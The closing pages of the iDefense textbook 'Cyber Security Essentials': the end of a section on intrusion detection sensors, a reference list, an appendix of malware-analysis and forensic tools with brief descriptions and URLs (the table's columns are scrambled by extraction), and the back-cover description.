noise makes triaging alert investigation difficult. The rule set for a
sensor needs constant attention and custom tuning to reduce the
number of alerts about legitimate traffic.
The last consideration for sensor placement involves inline devices.
Inline devices physically sit between two network devices and have
the ability to block malicious activity; however, legitimate traffic can
also match signatures for malicious activity. This situation occurs
often and results in the sensor blocking legitimate traffic. Another
situation in which an IDS device can block traffic occurs when the
sensors go offline or are overwhelmed with traffic. If the device does
not fail to open in the event of system failure, then the device will
block all traffic at its network interface. The inline device will also
drop traffic if it exceeds its processing power.
Despite the issues facing IDSs, they are still beneficial to the security of a network. Proper consideration to the network environment
that the IDS sensor will monitor is a must. An appropriate operating environment can reduce the issues previously discussed that
plague a sensor’s ability to detect malicious activity. Supplementing
a proper network environment with continuous updates and tuning
of the sensor’s rule set will provide excellent coverage for a majority
of malicious events.
IDS devices provide an invaluable stream of information to aid
in security investigations and to improve the overall security of a
network. IDS sensors can improve security by detecting a network’s
vulnerable areas and inbound attacks that can threaten the network. In cases involving an inline sensor, an IDS device can greatly
improve network security by blocking malicious activity before it
performs malice.
Luckily, the vast majority of inbound attempts to compromise systems do not use the IDS evasion techniques discussed in this section.
Attackers overlooking evasion techniques allow IDS sensors to remain
a viable monitoring solution. IDS can also detect compromised hosts
based on network activity; however, the coverage for threats requires
auditing to make sure the IDS detects malicious traffic. An IDS can
provide a false sense of security if a signature exists for a threat but
does not properly generate an alert in the event of its occurrence.
References
1. D. Brezinski, “RFC3227: Guidelines for Evidence Collection and
Archiving,” Advameg, Inc., February 2002, http://www.faqs.org/rfcs/
rfc3227.html.
2. Matthieu Suiche, “Matthieu Suiche’s Win32dd Tool,” n.d., http://
win32dd.msuiche.net/windd/. Acessed August 11, 2010.
3. Volatile Systems, “Volatility Website,” 2006–2008, http://www.volatilesystems.com/default/volatility.
4. Google Code, “Volatility: An Advanced Memory Forensics Framework:
Summary,” 2010, http://code.google.com/p/volatility.
5. Google Code, “Volatility: An Advanced Memory Forensics Framework:
Doc Files,” 2010, http://code.google.com/p/volatility/wiki/DocFiles.
3 0 2
6. Edgar Barbosa, “Finding Some Non-Exported Kernel Variables
in Windows XP,” n.d., http://www.reverse-engineering.info/
SystemInformation/GetVarXP.pdf.
7. Google Code, “Volatility Analyst Pack,” 2010, http://mhl-malwarescripts.googlecode.com/files/vap-0.1.zip.
8. Lance Spitzner, “Honeytokens: The Other Honeypot,” July 16, 2003,
http://www.symantec.com/connect/articles/honeytokens-otherhoneypot.
9. Specter, “Specter 8.0: Intrusion Detection System,” n.d., http://www.
specter.com.
10. Honeynet Project, “Know Your Enemy: Honeynets,” May 31, 2006,
http://old.honeynet.org/papers/honeynet.
11. Nepenthes, “documentation:readme,” March 20, 2009, http://nepenthes.
carnivore.it/documentation:readme.
12. Honeyd Research, “Honeypots against Spam,” 1999–2004, http://www.
honeyd.org/spam.php.
13. https://projects.honeynet.org/capture-hpc.
14. MITRE, “Welcome to the MITRE Honeyclient Project,” 2004–2008,
http://www.honeyclient.org/trac.
15. Honeynet Project, “Projects,” n.d., http://honeynet.org/project/.
16. Lance Spitzner, “Honeypots: Are They Illegal?” June 11, 2003, http://
www.symantec.com/connect/articles/honeypots-are-they-illegal.
17. Hispasec Sistemas, “Virustotal,” n.d., http://www.virustotal.com/analisis/
e174a8191bba6bfd717d705765be2a1b.
18. Costin Raiu, “A Virus by Any Other Name: Virus Naming Practices,”
June 30, 2002, http://www.symantec.com/connect/articles/virus-anyother-name-virus-naming-practices.
19. Examples include Symantec, “Virus Naming Conventions,” 1995–
2010,
http://www.symantec.com/security_response/virusnaming.jsp;
BitDefender, “Naming Conventions,” 2010, http://www.bitdefender.
com/site/Naming-Conventions.html; Avira, Soft SRL. http://www.avira.
rc/en/virus_information/malware_naming_conventions.html (accessed
August 11, 2010); and McAfee in derkeiler.com, “McAfee’s Naming
Convention of Computer Viruses, Worms and Trojans,” n.d., http://
www.derkeiler.com/Newsgroups/microsoft.public.security.virus/200312/1324.html.
20. Brian Krebs, “Virus Naming Still a Mess,” 2009, http://blog.washingtonpost.com/securityfix/2006/02/virus_naming_still_a_mess.html.
21. MITRE, “Common Malware Enumeration: CME List,” 2010, http://
cme.mitre.org/data/list.html.
22. For more information, see the CARO naming scheme, which describes
choosing names and the problems associated with virus naming, at
Vesselin Bontchev, “Current Status of the CARO Malware Naming
Scheme,” n.d., http://www.people.frisk-software.com/~bontchev/papers/
naming.html.
23. Foxtech, “22,000 New Malware Samples Detected Each Day,” January
12, 2009, http://www.foxtech.org/software-news/3-software-news/11522000-new-malware-samples-detected-eachday.html.
24. Norman, “Norman SandBox® Technology,” n.d., http://www.norman.
com/technology/norman_sandbox/the_technology/en-us.
25. Faronics, “Reduce IT Support,” 1999–2010, http://www.faronics.com/
html/DeepFreeze.asp.
26. CoreRESTORE, [homepage], n.d., http://www.corerestore.com/core_
restore.html.
27. Volatile Systems, “The Volatility Framework,” 2006–2008, https://www.
volatilesystems.com/default/volatility.
28. Kevin Timm, “IDS Evasion Techniques and Tactics,” May 5, 2002,
http://www.symantec.com/connect/articles/ids-evasion-techniquesand-tactics.
6
i D efense
S pecial File
I n v esti g ation To ols
NAME
PDF Toolkit (PDFTK)
CHM Decompiler
Jad
Windows script
decoder
GetType
TrID
OffViz
OfficeMalScanner
Swftools
Spidermonkey
Pdftools
DESCRIPTION
LOCATION
Toolkit for PDF investigations
Investigate compiled
Windows Help files (*.chm)
Decompile Java class files
(*.class)
Decoder for obfuscated
active server pages (ASPs)
Determine file type
Determine file type
Object linking and
embedding (OLE) document
parser
Find malicious Office
documents
Toolkit for Flash
investigations
JavaScript interpreter
Tools by Didier Stevens
http://www.accesspdf.com/pdftk
http://www.zipghost.com/chmdecompiler.
html
http://www.kpdus.com/jad.html
Flare
Nemo
Dump flash
decompiler
Flash decompiler
Flash decompiler
Flash decompiler
File Insight
Edit files in various formats
Malzilla
Dezend
Malware-hunting tool
Decrypt PHP files protected
by Zend
SYSTEM INFORMATION TOOLS
Process Hacker
Powerful ProcExp alternative
Sysinternals suite
Sysinternals suite
http://www.virtualconspiracy.
com/?page=/scrdec/intro
http://philip.helger.com/gt/index.php
http://mark0.net/soft-trid-e.html
http://blogs.technet.com/srd/
archive/2009/07/31/announcing-offvis.
aspx
http://www.reconstructer.org/code/
OfficeMalScanner.zip
http://www.swftools.org
http://www.mozilla.org/js/spidermonkey
http://blog.didierstevens.com/programs/
pdf-tools
http://www.nowrap.de/flare.html
http://www.docsultant.com/nemo440
http://www.softpedia.com/progDownload/
Dump-Flash-decompilerDownload-39174.html
http://www.webwasher.de/download/
fileinsight
http://malzilla.sourceforge.net
http://blog.w2.ro/dezend
http://processhacker.sourceforge.net
http://download.sysinternals.com/Files/
SysinternalsSuite.zip
305
3 0 6
NAME
DESCRIPTION
InsideClipboard
Inspect clipboard contents
Winlister
DeviceTree
Inspect Windows
Investigate drivers and
devices
Inspect Windows (requires
Microsoft Development
[MSDN] subscription)
Spy++
HONEYPOTS
Nepenthes
Mwcollectd
honeyd
BROWSER TOOLS
Fiddler
Firebug
IEDeveloperToolbar
DHTMLSpy
NETWORK TOOLS
Wireshark
Snort
Tcpdump
Chaosreader
Scapy
Pylibpcap
SocksiPy
Pehunter
oSpy
Collects malware by
emulating vulnerabilities
Malware collection daemon
Create virtual services and
hosts
LOCATION
http://www.nirsoft.net/utils/inside_
clipboard.html
http://www.nirsoft.net/utils/winlister.html
http://www.osronline.com
http://msdn.microsoft.com/en-us/library/
aa264396(VS.60).aspx
http://nepenthes.carnivore.it
http://code.mwcollect.org/projects/show/
mwcollectd
http://www.honeyd.org
Web-debugging proxy for
Internet Explorer (IE)
Web development plug-in for
Firefox
Toolbar for control of IE
document object model
(DOM)
Inspect dynamic HTML
(DHTML) page elements
http://www.fiddler2.com/fiddler2/
Packer sniffer
Packer sniffer and intrusion
detection system (IDS)
Packer sniffer
Report generator for pcaps
Packet manipulation in
Python
Python wrappers for libpcap
Python SOCKS client module
Snort preprocessor for
portable executable (PE)
files
Log packets by application
program interface (API)
hooking
http://www.wireshark.org
http://www.snort.org
http://getfirebug.com
http://www.microsoft.com/downloads/
details.aspx
http://www.download.com/
DHTMLSpy/3000-2068_4-10504833.
html
http://www.tcpdump.org
http://chaosreader.sourceforge.net
http://www.secdev.org/projects/scapy/
http://sourceforge.net/projects/pylibpcap/
http://socksipy.sourceforge.net
http://honeytrap.mwcollect.org/pehunter
http://code.google.com/p/ospy/
iD ef en se Sp e ci a l Fil e In v e s ti g ati o n T o o l s
NAME
InetSim
Netcat for Windows
DESCRIPTION
Internet simulation in Perl
Netcat for Windows
DISASSEMBLERS AND PLUG-INS
IDA Pro
Interactive disassembler
(commercial)
IDA Pro
Free version of IDA with
limitations
BeaEngine
Disassembler (in C/Python/
Asm)
Distorm64
Stream disassembler (in C/
Python)
pydasm
Stream disassembler in
Python
HexRays
Decompiler plug-in for IDA
Coverit
Code coverage plug-in for
IDA
pe_scripts
PE tools International Data
(IDC) scripts for IDA
x86emu
x86 emulation plug-in for
IDA
IDA Python
Python interpreter and API
plug-in (installed by
default in IDA 5.6)
TurboDiff
Binary-diffing plug-in for IDA
PatchDiff2
BinDiff
(commercial)
Locate cryptography
constants in IDA
Hide debugger plug-in for
IDA
Findcrypt
IDA Stealth
VIRTUALIZATION, EMU, AND LOCKDOWN
VMware
Virtual machines application
VIX API
API for scripting VMware
guests
QEMU
Emulation application
Ether
Unpack using hardware
extensions
DeepFreeze
System lockdown
(commercial)
307
LOCATION
http://www.inetsim.org
http://www.securityfocus.com/tools/139
http://www.hex-rays.com/idapro/
http://www.hex-rays.com/idapro/
idadownfreeware.htm
http://beatrix2004.free.fr/BeaEngine/
index1.php
http://www.ragestorm.net/distorm
http://dkbza.org/pydasm.html
http://www.hexrays.com
http://www.hexblog.com/2006/03/
coverage_analyzer.html
http://www.hex-rays.com/idapro/freefiles/
pe_scripts.zip
http://www.idabook.com/x86emu
http://www.d-dome.net/idapython/
http://corelabs.coresecurity.com/index.ph
p?module=Wiki&action=view&type=tool
&name=turbodiff
http://cgi.tenablesecurity.com/tenable/
patchdiff.php
http://www.zynamics.com/bindiff.html
http://www.hexblog.com/2006/01/
findcrypt.html
http://newgre.net/idastealth
http://www.vmware.com
http://www.vmware.com/support/
developer/vix-api/
http://bellard.org/qemu/index.html
http://ether.gtisc.gatech.edu/source.html
http://www.faronics.com/html/deepfreeze.
asp
3 0 8
NAME
PIN
Virtual Box
DESCRIPTION
Instrumentation
Virtual machines application
PACKING AND UNPACKING TOOLS
Saffron
Automated unpacker for
personal identification
numbers (PINs)
Collaborative RCE
Collaborative regional coding
Library
enhancement (RCE) library
ImpREC
Imports reconstructor
UIF
Universal imports fixer
UPX
PEiD
UserDB.TXT
PE packer
Packer identification tool
PEiD signature database
LordPE
Procdump
mkepe
TOOLS FOR PE FILES
Explorer Suite
Stud_PE
SADD
StripReloc
PE Checksum
petools
Pefile
Pelib
Online library of unpacking
tutorials
Process and dynamic link
library (DLL) dumping tool
Process and DLL dumping
tool
PE fix-up tool
Integrated development
environment (IDE) for PE
tool view and edit
Inspect PE file headers
Section-adding tool
Strip relocations from PE
files
Update PE checksum values
Patch PE files and add new
imports
Library in Python to
manipulate PEs
Library in C to manipulate
PEs
LOCATION
http://rogue.colorado.edu/pin/
http://www.virtualbox.org
http://www.offensivecomputing.
net/?q=node/492
http://www.woodmann.com/collaborative/
tools/index.php/
Category:Unpacking_Tools
tools/index.php/ImpREC
tools/index.php/Universal_Import_Fixer
http://upx.sourceforge.net
http://peid.has.it
http://www.peid.info/BobSoft/Downloads/
UserDB.zip
http://www.tuts4you.com
tools/index.php/LordPE
http://www.fortunecity.com/millenium/
firemansam/962/html/procdump.html
ftp://ftp.sac.sk/pub/sac/utilprog/
mkpe130.zip
http://ntcore.com/exsuite.php
http://www.cgsoftlabs.ro/studpe.html
http://programmerstools.org/system/
files?file=sadd1.0.zip
http://www.jrsoftware.org/striprlc.php
http://www.codeproject.com/KB/cpp/
PEChecksum.aspx
http://comrade.ownz.com/projects/
petools.html
http://code.google.com/p/pefile/
http://www.pelib.com/download.php
NAME
TOOL DEVELOPMENT
Visual Studio C++
Express
WDK
Netfilter
native-nt-toolkit
Nasm
Masm32
kmdkit
Wine source code
Python
Perl
MinGW
PyScripter
Pywin32
py2exe
OpenSSL
Yara
PyCrypto
PROXIES
Paros
Burp suite
COM TOOLS
oleretools
Frank Boldewin’s
tools
Comtypes
309
DESCRIPTION
LOCATION
Microsoft C/++ compiler IDE
http://www.microsoft.com/express/
Downloads/#2008-Visual-CPP
http://www.microsoft.com/whdc/DevTools/
WDK/WDKpkg.mspx
http://netfiltersdk.com
Windows Driver Kit
Transport driver interface
(TDI) packet inspection
framework
Header files for native API
functions
Netwide assembler
Microsoft assembler
Kernel mode driver
development kit (DDK) for
masm
Wine source code
Python language
Perl for Windows
GNU Compiler Collection
(GCC) for Windows
Python IDE
Python library for accessing
Win32 functions
Convert Python to executable
(EXE) files
Cryptography library in C
Malware classification
library in Python
Cryptography library in
Python
http://code.google.com/p/native-nttoolkit/
http://nasm.sourceforge.net
http://www.masm32.com/masmdl.htm
http://www.freewebs.com/four-f/KmdKit/
KmdKit.zip
http://www.codeweavers.com/support/
docs/wine-user/getting-wine-source
http://www.python.org
http://www.activestate.com/activeperl/
http://www.mingw.org
http://www.mmm-experts.com/Products.
aspx?ProductId=4
http://sourceforge.net/projects/pywin32/
http://www.py2exe.org
http://www.openssl.org
http://code.google.com/p/yara-project/
http://www.dlitz.net/software/pycrypto/
Proxy for HTTP and secure
socket layer (SSL) traffic
Proxy with fuzzer tools
http://www.parosproxy.org/download.
shtml
http://portswigger.net/suite/
Perl scripts for COM
reversing
IDA Python scripts for COM
reversing
COM in Python
http://www.joestewart.org/tools/
oleretools.zip
http://www.reconstructer.org/code.html
http://sourceforge.net/projects/comtypes
310 NAME
DESCRIPTION
DEBUGGERS AND PLUG-INS
Olly debugger
User mode debugger
PhantOm
Hide debugger plug-in for
Olly
OllyBonE
Break on execute plug-in for
Olly
PE Dumper
Process and DLL dump
plug-in for Olly
OllyScript
Scripting language for Olly
Immunity debugger
Olly + Python API + Immunity
OllyDbg plug-ins
for ImmDbg
Windbg
OllyDbg plug-ins for ImmDbg
PowerDbg
Livekd
WinAppDbg
API HOOKING
Rohitab API Monitor
Sysanalyzer
Madshi
Mhook
Detours
EasyHook
CaptureBat
MEMORY ANALYSIS
win32dd
pmdump
F-Response
Debugging tools for Windows
(included in Windows DDK)
Scriptable plug-ins for
WinDbg
Local kernel mode debugger
(included in Sysinternals
Suite)
Program instrumentation in
Python
Log API calls and parameters
iDefense Malcode Analyst
Pack
API hooking library
(commercial)
API hooking library in C
Microsoft’s API-hooking
library
Library for API hooking
(kernel support)
Honeynet project API monitor
Dump physical memory
Dump individual process
memory
Remote read-only drive
access
LOCATION
http://www.ollydbg.de
tools/index.php/PhantOm
tools/index.php/OllyBonE
tools/index.php/PE_Dumper
https://sourceforge.net/project/showfiles.
php?group_id=195914
http://www.immunitysec.com/productsimmdbg.shtml
http://www.tuts4you.com/download.
php?list.74
http://www.microsoft.com/whdc/DevTools/
Debugging/default.mspx
http://www.codeplex.com/powerdbg
http://technet.microsoft.com/en-us/
sysinternals/bb897415.aspx
http://apps.sourceforge.net/trac/
winappdbg/
http://www.rohitab.com/apimonitor/index.
html
http://labs.idefense.com/software/
malcode.php#more_sysanalyzer
http://forum.madshi.net
http://codefromthe70s.org/mhook22.aspx
http://research.microsoft.com/sn/detours
http://www.codeplex.com/easyhook
https://www.honeynet.org/node/315
http://win32dd.msuiche.net
http://www.ntsecurity.nu/toolbox/
pmdump/
http://www.f-response.com
NAME
311
DESCRIPTION
LOCATION
HBGary Fastdump
Dump physical memory fast
HBGary Flypaper
Block memory-free functions
Volatility
Memory forensics framework
in Python
Volatility plug-ins
http://www.hbgary.com/productsservices/fastdump-pro/
https://www.hbgary.com/productsservices/flypaper/
https://www.volatilesystems.com/default/
volatility
http://www.forensicswiki.org/wiki/
List_of_Volatility_Plugins
http://www.hbgary.com/responder_pro.html
Volatility plug-ins
HBGary Responder
Memoyze
PTFinder
Sandman
ONLINE SERVICES
VirusTotal
CWSandbox
Team Cymru ASN
JoeBox
MalwareDomainList
Anubis
Threat Expert
Jsunpack
Wepawet
Memory forensics platform for
Windows
Memory forensics platform for
Windows
Memory forensic tools in Perl
C library to analyze
hibernation files
Online virus scanner
Online behavior monitor
Internet Protocol (IP) to
Autonomous System
Number (ASN) lookup tool
Tracking exploits site
Unpack JavaScript
Analyze PDF and Shockwave
Flash (SWF) files online
ROOTKIT AND MALWARE SCANNERS
GMER
Multifunction rootkit scanner
IceSword
Rootkit Revealer
Cross-view rootkit detector
Rootkit Unhooker
Malware Bytes
HijackThis
Malware scanner
Malware scanner
BOOTABLE OS
Plain Sight
Live forensics
http://www.mandiant.com/software/
memoryze.htm
http://computer.forensikblog.de/
en/2007/11/ptfinder_0_3_05.html
http://sandman.msuiche.net/index.php
http://www.virustotal.com
http://www.cwsandbox.org
http://asn.cymru.com
http://www.joebox.org
http://www.malwaredomainlist.com
http://anubis.iseclab.org
http://www.threatexpert.com
http://jsunpack.jeek.org/dec/go
http://wepawet.iseclab.org/index.php
http://www.gmer.net
http://www.antirootkit.com/software/
IceSword.htm
http://technet.microsoft.com/en-us/
sysinternals/bb897445.aspx
https://www.rootkit.com/newsread.
php?newsid=902
http://www.malwarebytes.org
http://www.trendsecure.com/portal/en-US/
tools/security_tools/hijackthis
http://www.plainsight.info
312 NAME
DESCRIPTION
LOCATION
BartPE
Helix3
CAINE
Knoppix
Bootable Windows XP/2003
Live forensics (commercial)
Live forensics (free)
Live Linux environment
http://www.nu2.nu/pebuilder
http://www.e-fense.com/products.php
http://www.caine-live.net/index.html
http://www.knoppix.net
FORENSIC TOOLS
RegRipper
Windows Registry
Recovery
Index Analyzer
Scalpel
Forensic registry parser
Graphic user interface (GUI)
for browsing hive files
IE history file viewer
File-carving utility
http://www.regripper.net
http://www.mitec.cz/wrr.html
Jafat LNK Parser
Forensic Acquisition
Utilities (FAU)
FTK Imager (Lite)
Live View
Fatkit
FTimes
AIDE
FoxAnalysis
Pasco
R-Studio
Mount Image Pro
ssdeep
DBAN
sqlitebrowser
Windows shortcut and .lnk
file parser
Forensic acquisition utilities
Capture disk and random
access memory (RAM)
Create vmdk from dd disc
copies
Forensic analysis toolkit
Baseline and evidence
collection
Advanced intrusion detection
environment
Firefox history analyzer
index.dat parsing tool
File recovery software
(commercial)
Mount forensic images
(commercial)
Fuzzy hashing utility
Forensic disk-wiping CD
Sqlite3 GUI database
browser
REPORT GENERATION
Snippy
Tiny screen capture program
Camtasia Studio
Snapz Pro
Graphviz
Screen-recording suite
Screen shot and recording
for OS X (commercial)
Graph visualization software
http://www.systenance.com/indexdat.php
http://www.digitalforensicssolutions.com/
Scalpel/
http://jafat.sourceforge.net/files.html
http://www.gmgsystemsinc.com/fau
http://www.accessdata.com/downloads.
html
http://liveview.sourceforge.net
http://www.4tphi.net/fatkit/
http://ftimes.sourceforge.net/FTimes/
index.shtml
http://www.cs.tut.fi/~rammer/aide.html
http://forensic-software.co.uk/
foxanalysis.aspx
http://odessa.sourceforge.net
http://www.data-recovery-software.net
http://www.mountimage.com/?file=MIPSetup.exe
http://ssdeep.sourceforge.net/usage.html
http://www.dban.org
http://sqlitebrowser.sourceforge.net
http://www.bhelpuri.net/Snippy/
SnippyDownload.htm
http://www.techsmith.com/camtasia.asp
http://www.ambrosiasw.com/utilities/
snapzprox/
http://www.graphviz.org
NAME
DESCRIPTION
MISCELLANEOUS TOOLS
HashCalc
Compute hashes in various
algorithms
RemoteDll
Inject DLLs into processes
Shellcode 2 Exe
Create EXE wrappers for
shell code
Notepad++
Source code editor
VB Decompiler
IrpTracker
OpenVPN
Tor
winexe
Regshot
Win32kdiag
Metasploit
s2b
VB Decompiler
Observe IOCTLs sent to
device drivers
SSL virtual private network
(VPN) software
Anonymity online
Exec commands on Win from
Linux
Detect changes to the
registry and file system
Detect hidden mountpoints
Bintext
Exploit and shellcode builder
Shellcode-to-binary
converter
Manipulate archives on
Windows
Extract strings from binaries
Winhex
Secunia PSI
Hex viewer
Up-to-date software scanner
Cygwin
Linux environment for
Windows
Binary-diffing suite
7zip
eEye BDS
DOCUMENTATION AND INFORMATION
Woodman RCE
Reverse engineering forums
Forums
Offensive
Malware information
Computing
OpenRCE
Reverse engineering
information
313
LOCATION
http://www.slavasoft.com/hashcalc
http://securityxploded.com/remotedll.php
http://sandsprite.com/shellcode_2_exe.
php
http://notepad-plus.sourceforge.net/uk/
site.htm
http://www.vb-decompiler.org
http://www.osronline.com/article.
cfm?id=199
http://openvpn.net/index.php/opensource/downloads.html
http://www.torproject.org
http://eol.ovh.org/winexe/
https://sourceforge.net/projects/regshot
http://forums.majorgeeks.com/
showthread.php?t=198257
http://www.metasploit.com
http://www.honeynor.no/tools/s2b.py
http://www.7-zip.org
http://www.foundstone.com/us/resources/
proddesc/bintext.htm
http://www.x-ways.net/winhex.zip
http://secunia.com/vulnerability_
scanning/personal/
http://www.cygwin.com
http://research.eeye.com/html/tools/
RT20060801-1.html
http://www.woodmann.com
http://www.offensivecomputing.net
https://www.openrce.org
Information Security / Network Security
The sophisticated methods used in recent high-profile cyber incidents have
driven many to need to understand how such security issues work. Demystifying
the complexity often associated with information assurance, Cyber Security
Essentials provides a clear understanding of the concepts behind prevalent
threats, tactics, and procedures.
To accomplish this, the team of security professionals from VeriSign’s
iDefense ® Security Intelligence Services supplies an extensive review of the
computer security landscape. Although the text is accessible to those new to
cyber security, its comprehensive nature makes it ideal for experts who need
to explain how computer security works to non-technical staff. Providing a
fundamental understanding of the theory behind the key issues impacting cyber
security, the book:
• Covers attacker methods and motivations, exploitation trends, malicious
code techniques, and the latest threat vectors
• Addresses more than 75 key security concepts in a series of concise, wellillustrated summaries designed for most levels of technical understanding
• Supplies actionable advice for the mitigation of threats
• Breaks down the code used to write exploits into understandable diagrams
This book is not about the latest attack trends or botnets. It’s about the reasons
why these problems continue to plague us. By better understanding the logic
presented in these pages, readers will be prepared to transition to a career in the
growing field of cyber security and enable proactive responses to the threats and
attacks on the horizon.
K12343
ISBN: 978-1-4398-5123-4
90000
www.crcpress.c o m
9 781439 851234
www.auerbach-publications.com

Cyber Security Essentials

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